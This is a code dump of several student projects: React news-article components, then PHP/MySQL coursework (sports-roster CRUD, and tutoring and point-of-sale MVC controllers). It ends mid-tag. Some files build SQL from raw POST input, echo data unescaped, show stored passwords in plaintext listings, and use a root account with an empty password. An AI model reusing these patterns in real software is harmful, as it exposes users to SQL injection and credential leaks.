preferences of an authorized user. At the top of the page is a filter block that appears if the user is authorized in the application. - Login: form for user authorization on the site. If the user has already logged in earlier, a redirect to the profile page occurs. - Profile: here displays current information about an authorized user. In the future, the ability to edit and personalize filters may be added. If the user is not authorized, a redirect to the login page occurs. <file_sep>import React from 'react'; import styled from 'styled-components'; import {variables} from '../../variables'; import Moment from 'react-moment'; const Wrapper = styled.div ` width:90%; max-width:1300px; min-height:100px; margin:20px auto; padding:10px; box-shadow:${variables.boxShadow}; `; const Content = styled.div ` margin-top:10px; display:flex; justify-content:space-between; align-items:center; `; const Title = styled.h2 ` padding-right:20px; padding-top:10px; text-align:right; font-size:${variables.titleFZ}; color:${variables.titleClr}; font-weight:bold; `; const Image = styled.img ` width:300px; max-height:200px; `; const TextBox = styled.div ` min-width:50%; max-width:70%; padding-left:10px; `; const Autor = styled.h6 ` font-style:italic; color:${variables.hoverClr}; font-size:${variables.secondayFZ}; `; const Text = styled.p ` margin-top:10px; text-align:justify; font-size:${variables.mainFZ}; `; const Topicality = styled(Autor)` `; const Source = styled(Autor)` margin-top:10px; `; const WrapLink = styled.a ` text-decoration: none; padding:3px 3px 3px 0; color:${variables.linkClr}; font-size:${variables.secondayFZ}; font-style:italic; `; const ArticleDesktop = ({ title = '', autor = '', publishedAt = '', urlToImage = '', content = '', source = '', url = '' }) => { return ( <Wrapper> <Title>{title}</Title> <Content> <Image src={urlToImage}/> <TextBox> <Autor>{autor}</Autor> <Topicality> <Moment date={publishedAt} format={variables.formatDate}/> </Topicality> <Text>{content}</Text> <Source> article taken from {source} </Source> <WrapLink href={url} target={variables.targetLink} rel='up'> Go to original </WrapLink> </TextBox> </Content> </Wrapper> ) } export default ArticleDesktop;<file_sep>import React from 'react'; import styled from 'styled-components'; import {variables} from '../../variables'; import Moment from 'react-moment'; const Wrapper = styled.div ` width:95%; min-height:550px; margin:20px auto; padding:10px 20px; box-shadow: ${variables.boxShadow}; `; const Title = styled.h2 ` text-align:center; font-size:1.8em; color:${variables.titleClr}; font-weight:bold; `; const Image = styled.img ` display: block; margin:10px auto; width:100%; `; const Autor = styled.h6 ` font-style:italic; color:${variables.hoverClr}; font-size:${variables.secondayFZ}; `; const Text = styled.p ` margin-top:10px; text-align:justify; `; const Topicality = styled(Autor)` `; const Source = styled(Autor)` margin-top:10px; `; const WrapLink = styled.a ` text-decoration: none; padding:3px 3px 3px 0; color:${variables.linkClr}; font-size:${variables.secondayFZ}; font-style:italic; `; const ArticleMobile = ({ title = '', autor = '', publishedAt = '', urlToImage = '', content = '', source = '', url = '' }) => { return ( <Wrapper> <Title>{title}</Title> <Image src={urlToImage}/> <Autor>{autor}</Autor> <Topicality> <Moment date={publishedAt} format={variables.formatDate}/> </Topicality> <Text>{content}</Text> <Source> article taken from {source} </Source> <WrapLink href={url} target={variables.targetLink} rel='up'> Go to original </WrapLink> </Wrapper> ) } export default ArticleMobile;<file_sep>import React from 'react'; import styled from 'styled-components'; import {variables} from '../variables'; import {NavLink} from 'react-router-dom'; import {connect} from 'react-redux'; import {handleChangeCurrentPage} from '../redux/actions'; const Wrapper = styled.div ` width:50%; max-width:calc(1300px - 5%); display:flex; justify-content:space-between; align-items:center; `; const WrapLink = styled(NavLink)` position:relative; text-decoration: none; background:none; padding:10px 5px; color:${variables.tabClr}; font-size:${variables.mainFZ}; cursor: ${props => props.disable ? 'default' : 'pointer'}; transition:0.2s; :hover{ color:${variables.hoverClr}; } `; const activeStyle = { fontSize: `${variables.accentFZ}`, color: `${variables.hoverClr}`, transition: '0.2s' } const NavBar = ({ currentPage = '', namesTab = [], fnClick = () => {} }) => { return ( <Wrapper> { namesTab && namesTab.map(name => ( <WrapLink key={name} to={`/${name}`} active={name === currentPage} onClick={() => fnClick(name)} activeStyle={activeStyle}> {name} </WrapLink> )) } </Wrapper> ) }; const STP = state => ({namesTab: state.titles, currentPage: state.currentPage}); const DTP = dispatch => ({ fnClick: name => dispatch(handleChangeCurrentPage(name)) }); export default connect(STP, DTP,)(NavBar);
fbefa0bf552e899b4adee2053f6103346b0da5a7
[ "JavaScript", "Markdown" ]
14
JavaScript
IgorokNerovnyi1980/test-west-solutions
e838dfe12c50211ca36ba13d54a7db65933b6a5f
ed950364bb091340a1b2dae94254a06848216949
refs/heads/master
<repo_name>shubhimuniyal/Iris-species-classifier<file_sep>/README.md # Iris-species-classifier using Scikit learn library fitting the data and then prinitng out the error in the prediction. The data can also be divided into training and testing set. <file_sep>/iris_classifier.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sun Dec 17 15:28:35 2017 @author: shubhi """ from sklearn import datasets from sklearn.neighbors import KNeighborsClassifier import numpy as np iris = datasets.load_iris() classifier = KNeighborsClassifier() classifier.fit( iris.data , iris.target) error=np.mean((classifier.predict(iris.data) - iris.target)**2) print (error)
f1c607efbac16219dd5d65292c00b5e0686623b0
[ "Markdown", "Python" ]
2
Markdown
shubhimuniyal/Iris-species-classifier
7b106bb32c10c2ad6d1586bec820b7fe849a81cf
89ebabd0a79f4168a6b1136248118cda6d13ab0d
refs/heads/master
<repo_name>SergioPerez14/app_web_sergio<file_sep>/Calificar/1/Practica6/database_credentials.php <?php //Las credenciales para conectarse a la base de datos usando PDO $dsn = 'mysql:dbname=php_sql_course;host=localhost'; $user = 'root'; $password = ''; ?><file_sep>/Calificar/1/Practica6/add_form.php <?php //Requiere el archivo php donde estan todos los metodos que haran la sentencia SQL require_once('database_utilities.php'); //Se trae una variable type a traves del paso por URL, para saber que tipo de deportista es //Esto se utiliza para solo usar un formulario para los tipos de deportistas, y no dos, 1 es Futbolista, 2 es Basquetbolista //Y asi poderlos registrar en su respectiva tabla $type = isset( $_GET['type'] ) ? $_GET['type'] : ''; //Esta variable tipo solamente se utiliza con propositos para senalar que tipo de deportista se va a registrar //"Futbolista" o "Basquetbolista" y esto se imprimira en el formulario mas abajo if($type==1) { $tipo = "Futbolista"; } else if ($type==2) { $tipo = "Basquetbolista"; } //Despues de presionar el boton de registrar, se usara el metodo POST para guardar los datos y mandar llamar la funcion add que registrara el nuevo usuario if(isset($_POST["guardar"])) { if(isset($_POST["id"])) { $id = $_POST["id"]; } if(isset($_POST["nombre"])) { $nombre = $_POST["nombre"]; } if(isset($_POST["posicion"])) { $posicion = $_POST["posicion"]; } if(isset($_POST["carrera"])) { $carrera = $_POST["carrera"]; } if(isset($_POST["email"])) { $email = $_POST["email"]; } //Metodo add para registrar nuevo usuario //Este metodo regresa un valor tipo booleano para saber si el numero(ID) que quiere registrar ya existe. Si existe entonces //regresa un false y si no un true if(!(add($type,$id,$nombre,$posicion,$carrera,$email))) { //Si la funcion regresa un false entonces se lanzara una alerta que el deportista ya existe y entonces no dejara registrar al nuevo deportista echo "<script type='text/javascript'> alert('Ya existe un jugador con ese numero(id)') event.preventDefault(); </script>"; } //De lo contrario se registrara el nuevo deportista y nos mandara de nuevo a la visualizacion de estos else { header("location: sports_view.php"); } } ?> <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Curso PHP | Bienvenidos</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <?php require_once('header.php'); ?> <div class="row"> <div class="large-9 columns"> <br><br> <!-- Aqui se imprime el letrero de formulario y acontinuacion una variable PHP que dira que tipo de deportista es si Futbolista o Basquetbolista --> <h3>Formulario de Nuevo <?php echo$tipo?></h3> <br><br> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <div class="row"> </div> <form method="POST"> <label>Numero Dorso (ID): </label> <input type="text" name="id"> <br> <label>Nombre: </label> <input type="text" name="nombre"> <br> <label>Posicion: </label> <input type="text" name="posicion"> <br> <label>Carrera: </label> <select name="carrera"> <option value="ITI">Ing en Tecnologias de la Informacion</option> <option value="IM">Ing en Mecatronica</option> <option value="ITM">Ing en Tecnologias de la Manufactura</option> <option value="ISA">Ing en Sistemas Automotrices</option> <option value="PYMES">Lic en Administracion y Gestion de PyMES</option> </select> <br> <label>Correo Electronico: </label> <input type="email" name="email"> <input type="submit" name="guardar" value="Registrar" class="button radius tiny success"> </form> </div> </section> </div> </div> <?php require_once('footer.php'); ?> <file_sep>/P11/views/modules/carreras.php <?php session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <br> <h4>LISTADO CARRERAS</h4> <hr> <br> <input type="button" style="left: -200px" class="button radius tiny success" value="Nueva Carrera" onclick="window.location= 'index.php?action=registrarcarreras' "> <br><br> <table border="1"> <thead> <tr> <th>ID</th> <th>Nombre</th> <th>Editar</th> <th>Eliminar</th> </tr> </thead> <tbody> <?php $vistaCarrera = new MvcControllerCarreras(); $vistaCarrera -> vistaCarrerasController(); $vistaCarrera -> borrarCarrerasController(); ?> </tbody> </table> <?php if(isset($_GET["action"])){ if($_GET["action"] == "MaestroEditado"){ //echo "Cambio Exitoso"; } } ?> <file_sep>/Practica06/Ejercicio2/agregar2.php <?php //El archivo connection.php permite la conexion a la base de datos mediante pdo require_once('connection.php'); $id=$_POST['id']; $nombre=$_POST['name']; $posicion=$_POST['pos']; $carrera=$_POST['carrera']; $email=$_POST['email']; //Consulta para insertar datos provenientes del formulario de jugadores de basquetbol $sql = "INSERT INTO basquetbol VALUES ('$id','$nombre','$posicion','$carrera','$email')"; $statement = $pdo->prepare($sql); $statement->execute(); $statement->fetchAll(PDO::FETCH_OBJ); header("Location: index2.php"); ?><file_sep>/Calificar/2/Practica06/borra_futbolista.php <?php include_once('Config2.php'); //Se obtiene el id del futbolista del formulario anterior $Id = isset( $_GET['Id'] ) ? $_GET['Id'] : ''; //Asignacion a una variable el Delete del futbolista seleccionado //Se hace mediante el id cuando se selecciona el usuario $borrar = $conexion->prepare('DELETE FROM Futbolistas WHERE Id = :id'); $borrar->bindParam(':id',$Id); $borrar->execute(); //Alertas de confirmacion de eliminado echo '<script> alert("Futbolista Eliminado!"); </script>'; //Redireccion de la pagina donde estan los futbolistas echo '<script> window.location = "index2.php"; </script>'; ?><file_sep>/05_final/añadir.php <?php //El archivo database_utilities es requerido debido a que contiene las funciones para el manejo de los registros en el listado require_once('connection.php'); //Cuando se presione el boton de guardar se almacenaran los datos en las variables que se mandaran como parametros a la funcion de añadir if(isset($_POST["guardar"])) { if(isset($_POST["email"])) { $correo = $_POST["email"]; } if(isset($_POST["password"])) { $password = $_POST["password"]; } //Se llama el metodo añadir para agregar un nuevo usuario añadir($correo,$password); //Direcciona al index.php o inicio del listado header("Location: index.php"); } ?> <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Curso PHP | Bienvenidos</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <?php require_once('header.php'); ?> <div class="row"> <div class="large-9 columns"> <br><br> <h3>Formulario de Alumnos</h3> <br><br> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <div class="row"> </div> <form method="POST"> <label>Correo Electronico: </label> <input type="email" name="email"> <br> <label>Password: </label> <input type="text" name="<PASSWORD>"> <br> <input type="submit" name="guardar" value="Guardar" class="button radius tiny success" onClick=mensaje(); > </form> </div> </section> </div> </div> <?php require_once('footer.php'); ?> <script type="text/javascript"> //Funcion que envia un mensaje o alerta de que se añadio el registro function mensaje() { alert("Registro añadido"); } </script><file_sep>/04_final/utilities_m.php <?php //Manipulacion de archivo txt, donde con foreach se navega y con explode se recorta las lineas, despues se hace un recorte dependiendo de las comas entre los datos que se ingresaron. foreach(file('maestros.txt') as $f){ $line = explode(PHP_EOL, $f); $user_access[] = [ 'nempleado' => explode(",", $line[0])[0], 'name' => explode(",", $line[0])[1], 'carrera' => explode(",", $line[0])[2], 'telefono' => explode(",", $line[0])[3] ]; } ?><file_sep>/Practica08/controllers/controllerTutorias.php <?php class MvcControllerTutorias{ #LLAMADA A LA PLANTILLA #------------------------------------- public function pagina(){ include "views/template.php"; } #ENLACES #------------------------------------- public function enlacesPaginasController(){ if(isset( $_GET['action'])){ $enlaces = $_GET['action']; } else{ $enlaces = "index"; } $respuesta = Paginas::enlacesPaginasModel($enlaces); include $respuesta; } #REGISTRO DE TUTORIAS #------------------------------------ public function registroTutoriasController(){ if(isset($_POST["alumno"])){ //Recibe a traves del método POST el name (html) de usuario, password y email, se almacenan los datos en una variable de tipo array con sus respectivas propiedades (usuario, password y email): $datosController = array( "matricula"=>$_POST["alumno"], "tutor"=>$_POST["tutor"], "fecha"=>$_POST["fecha"], "hora"=>$_POST["hora"], "tipo"=>$_POST["tipo"], "campo"=>$_POST["tema"]); //Se le dice al modelo models/crud.php (Datos::registroUsuarioModel),que en la clase "Datos", la funcion "registroUsuarioModel" reciba en sus 2 parametros los valores "$datosController" y el nombre de la tabla a conectarnos la cual es "usuarios": $respuesta = DatosTutorias::registroTutoriasModel($datosController, "tutorias"); //se imprime la respuesta en la vista if($respuesta == "success"){ header("location:index.php?action=TutoriaRegistrada"); } else{ header("location:index.php"); } } } #INGRESO DE TUTORIAS #------------------------------------ public function ingresoMaestroController(){ if(isset($_POST["usuarioIngreso"])){ $datosController = array( "email"=>$_POST["usuarioIngreso"], "password"=>$_POST["<PASSWORD>"]); $respuesta = Datos::ingresoMaestroModel($datosController, "maestros"); //Valiación de la respuesta del modelo para ver si es un usuario correcto. if($respuesta["email"] == $_POST["usuarioIngreso"] && $respuesta["password"] == $_POST["<PASSWORD>"]){ session_start(); $_SESSION["validar"] = true; header("location:index.php?action=alumnos"); } else{ header("location:index.php?action=fallo"); } } } #VISTA DE TUTORIAS #------------------------------------ public function vistaTutoriasController(){ $respuesta = DatosTutorias::vistaTutoriasModel("tutorias"); #El constructor foreach proporciona un modo sencillo de iterar sobre arrays. foreach funciona sólo sobre arrays y objetos, y emitirá un error al intentar usarlo con una variable de un tipo diferente de datos o una variable no inicializada. foreach($respuesta as $row => $item){ echo'<tr> <td>'.$item["alumno"].'</td> <td>'.$item["mname"].'</td> <td>'.$item["fecha"].'</td> <td>'.$item["hora"].'</td> <td>'.$item["tipotutoria"].'</td> <td>'.$item["campo"].'</td> <td><a href="index.php?action=editartutorias&id='.$item["id"].'"><button class="button radius tiny secondary">Editar</button></a></td> <td><a href="index.php?action=tutorias&idBorrar='.$item["id"].'"><button class="button radius tiny alert">Borrar</button></a></td> </tr>'; } } #VISTA DE TUTORIAS #------------------------------------ public function vistaReportesTutoriasController(){ $respuesta = DatosTutorias::vistaTutoriasModel("tutorias"); #El constructor foreach proporciona un modo sencillo de iterar sobre arrays. foreach funciona sólo sobre arrays y objetos, y emitirá un error al intentar usarlo con una variable de un tipo diferente de datos o una variable no inicializada. foreach($respuesta as $row => $item){ echo'<tr> <td>'.$item["alumno"].'</td> <td>'.$item["mname"].'</td> <td>'.$item["fecha"].'</td> <td>'.$item["hora"].'</td> <td>'.$item["tipotutoria"].'</td> <td>'.$item["campo"].'</td> </tr>'; } } #EDITAR TUTORIAS #------------------------------------ public function editarTutoriaController(){ $datosController = $_GET["id"]; $respuesta = DatosTutorias::editarTutoriaModel($datosController, "tutorias"); echo' <label>ID Tutoria: </label> <input type="text" value="'.$respuesta["id"].'" name="ntutoriaEditar" readonly> <label>Mat<NAME>: </label> <input type="text" value="'.$respuesta["alumno"].'" name="alumnoEditar" readonly> <label>Tutor: </label> <select name="tutorEditar">'; $tutor = new MvcController(); $tutor -> ObtenerMTutorController(); echo '</select> <label>Fecha: </label> <input type="text" value="'.$respuesta["fecha"].'" name="fechaEditar" required> <label>Hora: </label> <input type="text" value="'.$respuesta["hora"].'" name="horaEditar" required> <label>Tipo de Tutoria: </label> <select name="tipoEditar">'; echo '<option selected>'.$respuesta["tipotutoria"].'</option>'; if ($respuesta["tipotutoria"] == 'Grupal') { echo "<option>Individual</option>"; }else echo "<option>Grupal</option>"; echo '</select> <label>Tema: </label> <input type="text" value="'.$respuesta["campo"].'" name="temaEditar" required> <input type="submit" class="button radius tiny" style="background-color: #360956; left: -1px; width: 400px;" value="Actualizar">'; } #ACTUALIZAR TUTORIAS #------------------------------------ public function actualizarTutoriaController(){ if(isset($_POST["tutorEditar"])){ $datosController = array( "id"=>$_POST["ntutoriaEditar"], "alumno"=>$_POST["alumnoEditar"], "tutor"=>$_POST["tutorEditar"], "fecha"=>$_POST["fechaEditar"], "hora"=>$_POST["horaEditar"], "tipotutoria"=>$_POST["tipoEditar"], "tema"=>$_POST["temaEditar"]); $respuesta = DatosTutorias::actualizarTutoriaModel($datosController, "tutorias"); if($respuesta == "success"){ header("location:index.php?action=TutoriaEditada"); } else{ echo "error"; } } } #BORRAR TUTORIAS #------------------------------------ public function borrarTutoriasController(){ if(isset($_GET["idBorrar"])){ $datosController = $_GET["idBorrar"]; $respuesta = DatosTutorias::borrarTutoriasModel($datosController, "tutorias"); if($respuesta == "success"){ header("location:index.php?action=tutorias"); } } } } //// ?><file_sep>/Practica07/añadir.php <?php session_start(); if(!isset($_SESSION['username'])) { header('Location: index.php'); } ?> <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Practica 7 - Usuarios</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <?php require_once('header.php'); ?> <div class="row"> <div class="large-12 columns"> <h4><b><center>Sistema de Ventas</center></b></h4> <h4><b><font color=000000><center>Agregar Nuevo Usuario</center></font></b></h4> <div class="large-12 columns" style="background-color: #404247"> <br> <h3><font color=ffffff>Informacion General</font></h3> <br><br> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <form method="POST" action="agregar.php"> <label><font color=ffffff>Username: </font></label> <input type="text" name="name" value=''> <br> <label><font color=ffffff>Password: </font></label> <input type="text" name="pos" value=''> <br> <center><input type="submit" name="guardar" style="background-color: #c48301;" value="Guardar" class="button"></center> <center><a href="./usuarios.php" class="button">Volver al listado</a></center> </form> </div> </section> </div> </div> </div> </div> <?php require_once('footer.php'); ?><file_sep>/Practica08/views/modules/tutorias.php <?php session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <br> <!-- Listado de tutorias --> <h4>LISTADO TUTORIAS</h4> <hr> <br> <input type="button" style="left: -200px" class="button radius tiny success" value="Nueva Tutoria" onclick="window.location= 'index.php?action=registrartutorias' "> <br> <table border="1"> <thead> <tr> <th>Matricula</th> <th>Tutor</th> <th>Fecha</th> <th>Hora</th> <th>Tipo</th> <th>Tema</th> <th>Editar</th> <th>Eliminar</th> </tr> </thead> <tbody> <?php //Se manda al controlador MvcControllerTutorias donde se encuentran vistaTutoriasController y borrarTutoriasController $vistaTutorias= new MvcControllerTutorias(); $vistaTutorias -> vistaTutoriasController(); $vistaTutorias -> borrarTutoriasController(); ?> </tbody> </table> <?php if(isset($_GET["action"])){ if($_GET["action"] == "TutoriaEditada"){ //echo "Cambio Exitoso"; } } ?> <file_sep>/PNF/Practica12 - NOFunc/controllers/controller.php <?php class MvcController{ #LLAMADA A LA PLANTILLA #------------------------------------- public function pagina(){ include "views/template.php"; } #ENLACES #------------------------------------- public function enlacesPaginasController(){ if(isset( $_GET['action'])){ $enlaces = $_GET['action']; } else{ $enlaces = "index"; } $respuesta = Paginas::enlacesPaginasModel($enlaces); include $respuesta; } #REGISTRO DE ALUMNOS #------------------------------------ public function registroUsuarioController(){ if(isset($_POST["enviar"])){ //Recibe a traves del método POST el name (html) de usuario, password y email, se almacenan los datos en una variable de tipo array con sus respectivas propiedades (usuario, password y email): $datosController = array( "nombre"=>$_POST["nombre"], "apellido"=>$_POST["apellido"], "username"=>$_POST["username"], "password"=>$_POST["<PASSWORD>"], "email"=>$_POST["email"], "fecha"=>$_POST["fecha"]); //Se le dice al modelo models/crud.php (Datos::registroUsuarioModel),que en la clase "Datos", la funcion "registroUsuarioModel" reciba en sus 2 parametros los valores "$datosController" y el nombre de la tabla a conectarnos la cual es "usuarios": $respuesta = Datos::registroUsuarioModel($datosController, "usuarios"); //se imprime la respuesta en la vista if($respuesta == "success"){ header("location:index.php?action=UsuarioRegistrado"); } else{ header("location:index.php"); } } } #REGISTRO DE PRODUCTOS #------------------------------------ public function registroProductoController(){ if(isset($_POST["enviar"])){ //Recibe a traves del método POST el name (html) de usuario, password y email, se almacenan los datos en una variable de tipo array con sus respectivas propiedades (usuario, password y email): $datosController = array( "codigo_producto"=>$_POST["codigoproducto"], "nombre"=>$_POST["nombre"], "fecha"=>$_POST["fecha"], "preciounitario"=>$_POST["precio"], "stock"=>$_POST["stock"], "id_categoria"=>$_POST["categoria"]); //Se le dice al modelo models/crud.php (Datos::registroUsuarioModel),que en la clase "Datos", la funcion "registroUsuarioModel" reciba en sus 2 parametros los valores "$datosController" y el nombre de la tabla a conectarnos la cual es "usuarios": $respuesta = Datos::registroProductoModel($datosController, "productos"); //se imprime la respuesta en la vista if($respuesta == "success"){ header("location:index.php?action=ProductoRegistrado"); } else{ header("location:index.php"); } } } #REGISTRO DE CATEGORIAS #------------------------------------ public function registroCategoriaController(){ if(isset($_POST["enviar"])){ //Recibe a traves del método POST el name (html) de usuario, password y email, se almacenan los datos en una variable de tipo array con sus respectivas propiedades (usuario, password y email): $datosController = array( "nombre"=>$_POST["nombre"], "descripcion"=>$_POST["descripcion"], "fecha"=>$_POST["fecha"]); //Se le dice al modelo models/crud.php (Datos::registroUsuarioModel),que en la clase "Datos", la funcion "registroUsuarioModel" reciba en sus 2 parametros los valores "$datosController" y el nombre de la tabla a conectarnos la cual es "usuarios": $respuesta = Datos::registroCategoriaModel($datosController, "categorias"); //se imprime la respuesta en la vista if($respuesta == "success"){ header("location:index.php?action=CategoriaRegistrada"); } else{ header("location:index.php"); } } } #INICIO DE SESION #------------------------------------ public function iniciarSesionController(){ if(isset($_POST["usuarioIngreso"])){ $datosController = array( "username"=>$_POST["usuarioIngreso"], "password"=>$_POST["<PASSWORD>"]); $respuesta = Datos::iniciarSesionModel($datosController, "usuarios"); //Valiación de la respuesta del modelo para ver si es un usuario correcto. if($respuesta["username"] == $_POST["usuarioIngreso"] && $respuesta["password"] == $_POST["password<PASSWORD>"]){ session_start(); $_SESSION["validar"] = true; header("location:index.php?action=dashboard"); } else{ header("location:index.php?action=fallo"); } } } #VALIDAR SESION PARA IMPLEMENTAR SIDEBAR #------------------------------------ public function checarIngresoController(){ error_reporting(0); session_start(); if(isset($_SESSION["validar"])){ if($_SESSION["validar"]){ echo ' <!-- /.content-header --> <!-- Navbar --> <nav class="main-header navbar navbar-expand navbar-dark border-bottom" style="background-color: #05758c"> <!-- Left navbar links --> <ul class="navbar-nav"> <li class="nav-item"> <a class="nav-link" data-widget="pushmenu" href="#"><i class="fa fa-bars"></i></a> </li> <li class="nav-item d-none d-sm-inline-block"> <a href="index.php?action=dashboard" class="nav-link">Inicio</a> </li> </ul> <!-- SEARCH FORM --> <form class="form-inline ml-3"> <div class="input-group input-group-sm"> <input class="form-control form-control-navbar" type="search" placeholder="Buscar" aria-label="Search"> <div class="input-group-append"> <button class="btn btn-navbar" type="submit"> <i class="fa fa-search"></i> </button> </div> </div> </form> <ul class="navbar-nav ml-auto"> <li class="nav-item"> <a class="nav-link" href="index.php?action=help"><i class="fa fa-question-circle"></i></a> </li> </ul> </nav> <!-- /.navbar --> <!-- Main Sidebar Container --> <aside class="main-sidebar sidebar-dark-primary elevation-4"> <!-- Brand Logo --> <a href="index.php?action=dashboard" class="brand-link" style="background-color: #05758c"> <img src="views/dist/img/pos.png" alt="AdminLTE Logo" class="brand-image img-circle elevation-3" style="opacity: .8"> <span class="brand-text font-weight-light">Sistema de Venta</span> </a> <!-- Sidebar --> <div class="sidebar"> <!-- Sidebar user panel (optional) --> <div class="user-panel mt-3 pb-3 mb-3 d-flex"> <div class="image"> <img src="views/dist/img/user8-128x128.jpg" class="img-circle elevation-2" alt="User Image"> </div> <div class="info"> <a href="" class="d-block"><NAME></a> </div> </div> <!-- Sidebar Menu --> <nav class="mt-2"> <ul class="nav nav-pills nav-sidebar flex-column" data-widget="treeview" role="menu" data-accordion="false"> <!-- Add icons to the links using the .nav-icon class with font-awesome or any other icon font library --> <li class="nav-item"> <a href="index.php?action=dashboard" class="nav-link"> <i class="nav-icon fa fa-dashboard"></i> <p> Dashboard </p> </a> </li> <li class="nav-item"> <a href="index.php?action=categorias" class="nav-link"> <i class="nav-icon fa fa-clone"></i> <p> Categorias <i class="right fa fa-angle-left"></i> </p> </a> <ul class="nav nav-treeview"> <li class="nav-item"> <a href="index.php?action=categorias" class="nav-link"> <i class="nav-icon fa fa-list-alt"></i> <p>Listado de Categorias</p> </a> </ul> <ul class="nav nav-treeview"> <li class="nav-item"> <a href="index.php?action=registrarCategoria" class="nav-link"> <i class="nav-icon fa fa-plus-circle"></i> <p>Registrar Categoría</p> </a> </ul> </li> <li class="nav-item"> <a href="index.php?action=usuarios" class="nav-link"> <i class="nav-icon fa fa-user"></i> <p> Usuarios <i class="right fa fa-angle-left"></i> </p> </a> <ul class="nav nav-treeview"> <li class="nav-item"> <a href="index.php?action=usuarios" class="nav-link"> <i class="nav-icon fa fa-list-alt"></i> <p>Listado de Usuarios</p> </a> </ul> <ul class="nav nav-treeview"> <li class="nav-item"> <a href="index.php?action=registrarUsuario" class="nav-link"> <i class="nav-icon fa fa-user-plus"></i> <p>Registrar Usuario</p> </a> </ul> </li> <li class="nav-item has-treeview"> <a href="index.php?action=productos" class="nav-link"> <i class="nav-icon fa fa-cubes"></i> <p> Productos <i class="right fa fa-angle-left"></i> </p> </a> <ul class="nav nav-treeview"> <li class="nav-item"> <a href="index.php?action=productos" class="nav-link"> <i class="nav-icon fa fa-list-alt"></i> <p>Listado de Productos</p> </a> </ul> <ul class="nav nav-treeview"> <li class="nav-item"> <a href="index.php?action=registrarProducto" class="nav-link"> <i class="nav-icon fa fa-plus-square"></i> <p>Registrar Producto</p> </a> </ul> </li> <li class="nav-item"> <a href="index.php?action=historial" class="nav-link"> <i class="nav-icon fa fa-history"></i> <p> Historial </p> </a> </li> <li class="nav-item has-treeview"> <a href="index.php?action=salir" class="nav-link"> <i class="nav-icon fa fa-arrow-left"></i> <p> Cerrar Sesión </p> </a> </li> </ul> </nav> <!-- /.sidebar-menu --> </div> <!-- /.sidebar --> </aside>'; }else{ } } } #VISTA DE USUARIOS #------------------------------------ public function vistaUsuariosController(){ $respuesta = Datos::vistaUsuariosModel("usuarios"); #El constructor foreach proporciona un modo sencillo de iterar sobre arrays. foreach funciona sólo sobre arrays y objetos, y emitirá un error al intentar usarlo con una variable de un tipo diferente de datos o una variable no inicializada. foreach($respuesta as $row => $item){ echo'<tr> <td>'.$item["id_usuario"].'</td> <td>'.$item["nombre"].' '.$item["apellido"].'</td> <td>'.$item["username"].'</td> <td>'.$item["password"].'</td> <td>'.$item["email"].'</td> <td>'.$item["fecha"].'</td> <td><center><a href="index.php?action=editar&id='.$item["id_usuario"].'" class="btn btn-info" title= "Editar Usuario"> <i class="fa fa-edit"></i> </a> <a href="index.php?action=usuarios&idBorrar='.$item["id_usuario"].'" class="btn btn-danger" title= "Borrar Usuario"> <i class="fa fa-trash"></i> </a></center> </td> <!--<td><a href="index.php?action=editar&id='.$item["id_usuario"].'"><button class="btn btn-block btn-secondary">Editar</button></a></td>--> <!--<td><a href="index.php?action=usuarios&idBorrar='.$item["id_usuario"].'"><button class="btn btn-block btn-danger" >Borrar</button></a></td>--> </tr>'; } } #VISTA DE MOVIMIENTOS DEL HISTORIAL #------------------------------------ public function vistaMovimientosController(){ $respuesta = Datos::vistaMovimientosModel("historial"); #El constructor foreach proporciona un modo sencillo de iterar sobre arrays. foreach funciona sólo sobre arrays y objetos, y emitirá un error al intentar usarlo con una variable de un tipo diferente de datos o una variable no inicializada. foreach($respuesta as $row => $item){ echo'<tr> <td>'.$item["id_historial"].'</td> <td>'.$item["id_producto"].'</td> <td>'.$item["user_id"].'</td> <td>'.$item["fecha"].'</td> <td>'.$item["nota"].'</td> <td>'.$item["referencia"].'</td> <td>'.$item["cantidad"].'</td> <td><center><a href="index.php?action=historial&idBorrar='.$item["id_historial"].'" class="btn btn-danger" title= "Borrar Movimiento"> <i class="fa fa-trash"></i> </a></center> </td> <!--<td><a href="index.php?action=editar&id='.$item["id_historial"].'"><button class="btn btn-block btn-secondary">Editar</button></a></td>--> <!--<td><a href="index.php?action=usuarios&idBorrar='.$item["id_historial"].'"><button class="btn btn-block btn-danger">Borrar</button></a></td>--> </tr>'; } } #VISTA DE PRODUCTOS #------------------------------------ public function vistaProductosController(){ $respuesta = Datos::vistaProductosModel("productos"); #El constructor foreach proporciona un modo sencillo de iterar sobre arrays. foreach funciona sólo sobre arrays y objetos, y emitirá un error al intentar usarlo con una variable de un tipo diferente de datos o una variable no inicializada. foreach($respuesta as $row => $item){ echo'<tr> <td>'.$item["id_producto"].'</td> <td>'.$item["codigo_producto"].'</td> <td>'.$item["nombre"].'</td> <td>'.$item["fecha"].'</td> <td>$'.$item["preciounitario"].'</td> <td>'.$item["stock"].'</td> <td>'.$item["id_categoria"].'</td> <td><center><a href="index.php?action=añadirStockProducto&id='.$item["id_producto"].'" class="btn btn-success" title= "Añadir Stock"> <i class="fa fa-plus-square"></i> </a> <a href="index.php?action=quitarStockProducto&id='.$item["id_producto"].'" class="btn btn-danger" title= "Quitar Stock"> <i class="fa fa-minus-square"></i> </a></center> </td> <td><center><a href="index.php?action=editarProducto&id='.$item["id_producto"].'" class="btn btn-info" title= "Editar Producto"> <i class="fa fa-edit"></i> </a> <a href="index.php?action=productos&idBorrar='.$item["id_producto"].'" class="btn btn-danger" title= "Borrar Producto"> <i 